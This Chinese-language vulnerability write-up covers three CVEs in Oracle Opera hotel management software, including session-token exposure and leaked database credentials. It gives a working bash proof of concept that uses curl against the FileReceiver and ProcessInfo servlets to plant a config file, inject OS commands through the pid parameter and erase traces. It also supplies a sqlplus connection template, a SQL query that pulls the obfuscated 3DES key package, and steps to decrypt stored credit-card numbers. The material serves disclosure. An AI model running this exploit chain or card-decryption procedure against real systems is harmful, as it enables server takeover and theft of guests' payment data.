Oracle的酒店管理平台RCE漏洞以及持卡人数据泄漏（CVE-2016-5663/4/5）

简介

Oracle Opera（原Micros Opera）是一款用于酒店集团订单管理的主流软件。凯悦和希尔顿等酒店就使用该软件来管理订单以及处理付款流程。

为了进行结算，应用程序会将加密后的PAN（信用卡号），到期日，持卡人姓名保留在Oracle SQL数据库中。我们发现了3种不同的方法获取数据库访问权限，一旦攻击者获得了访问权限，他们就可以提取和解密数据库中存储的持卡人数据。

漏洞分析

CVE-2016-5665: Session Hijacking via Exposed Logs

用户登录到Opera后，可以选择要使用的交互接口，对于大多数用户来说会选择上图中圈出来的物业管理系统（PMS）接口。启动接口的请求包含了用户的会话令牌和要启动的特定接口的参数。

会话令牌以及其他请求的参数都会记录到同一个目录，且不需要进行身份验证就可以通过Web服务器访问。

攻击者现在只需要等待管理员用户登录，管理员一旦上线，攻击者就可以获得应用程序的完整权限。

管理员用户可以使用“Opera SQL”工具，该工具可以向数据库提交原始查询

使用这种方法提取持卡人数据的弊端就是速度太慢而且不够隐蔽，每次查询都会被记录到应用层。此外其使用的Oracle Forms用户界面还不如直接连接到数据库服务器来的高效。

CVE-2016-5664: Exposure of Oracle SQL Database Credentials

如果攻击者与数据库服务器在同一个网络上，另一种方法则是构造一个数据库连接字符串。打开通过身份验证的Oracle Forms，其响应的HTML中返回了数据库凭据和服务名称，数据库服务器主机名可在未经身份验证的servlet的响应中访问。

至此，攻击者还需要使用简单的连接语句连接到sqlplus。如此就可以避开日志记录以及使用“Opera SQL”工具的低效率。

sqlplus [Username]/[Password]@[Hostname]:[Port]/[Service Name]

CVE-2016-5663: RCE via OS Command Injection and RFI

在攻击者只能访问应用程序服务器，或者数据库服务器的入站连接仅限于应用程序服务器的情况下，就体现出该远程代码执行漏洞就的优势了。这是我最中意的发现了，因为他把看似毫不相干的元素组合在一起来完成恶意目的。
诊断过程信息的servlet，将返回一个PID信息。

对于黑盒测试来说PID参数传入连接字符串以进行命令执行的这个过程不是很清晰。如下图所示，攻击者通过修改参数以执行另外一个命令，并将该输出内容发送到可以通过web服务器访问的另外一个文件。

预计如果没有出错，他应该会在Web根目录下的webtemp文件夹中返回whoami输出。然而我却得到的了一个错误消息，其指出某个文件丢失。

查看servlet对应的代码，我们可以看到错误发生位置。构造的命令行包含来源于属性文件的pslist实用程序的路径。该文件被硬编码到D:\micros\opera\operaias\default.env。

但这个文件似乎不存在，这也是为何函数在执行pslist前失败的原因。

完成以下两点即可解决该servlet问题：

1.找到OPERA_HOME属性

2.将其保存到D:\micros\opera\operaias\default.env

巧合的是有一个经过诊断的servlet，暴露了opera_home属性。

而另一个诊断的servlet也合宜的暴露了RFI向量上传的目标路径：

再次利用ProcessInfo servlet，可以看到输出正常。且whoami返回的结果我们得知该应用是以system权限运行的。

以下POC可用于验证。

#!/bin/bashSTDOUT="D:\micros\opera\operaias\webtemp\temp.log"if [ "$#" -ne 2 ]; then echo "Usage: $0 <host> <command>" echo "E.g. : $0 http://opera.example.biz whoami" exit 1else host="$1" cmd="$2"fi# Activate exploit.curl -s -XPOST --data-binary "OPERA_HOME=D:\micros\opera""$host/Operajserv/webarchive/FileReceiver?filename=D:/micros/opera/operaias/default.env&crc=26&append=false" >/dev/null# Inject command.curl -s -G --data-urlencode "pid=1 & $cmd > \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo"> /dev/nullcurl -# -G "$host/webtemp/temp.log"# Deactivate exploit.curl -s -G --data-urlencode "pid=1 & del \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo" >/dev/nullcurl -s -G --data-urlencode 'pid=1 & del "D:\micros\opera\operaias\default.env" 2' "$host/Operajserv/webarchive/ProcessInfo" > /dev/null

持卡人数据解密

结合上述漏洞组合，攻击者可以获得对数据库的认证访问。在数据库中，攻击者可以检索持卡人数据并进行解密。根据Opera knowledgebase，信用卡号和到期日期都以3DES加密格式存储在数据库表中。

对于攻击者而言，获取到3DES的加密密钥就是关键了。OPERA使用DBMS_OBFUSCATION_TOOLKIT程序包执行3DES加密，这个包没有用来存储密钥，其创建一个单独的程序包用来存储密钥以及处理加密函数调用。

PL/SQL的包装工具用来对代码进行混淆处理，且每次更改加密密钥后都会重新生成此程序包
用于检索包体的示例SQL查询如下：

SELECT NAME, TYPE, TEXT from USER_SOURCE WHERE NAME LIKE '%IFC_CRYPT_V4_%'

由于包体仅仅只是进行了混淆处理，因此可以对其进行去混淆化或“解包”以显示3DES密钥。

现在已知密钥和算法，对于攻击者来说接下来便是找到用于存储加密数据的表了。

该信息可以从OPERA knowledgebase中获得：

在NAME$_CREDIT_CARD表中执行一个select查询就可以得到用户姓名以及加密的信用卡信息，然后可以通过脚本将其解密为明文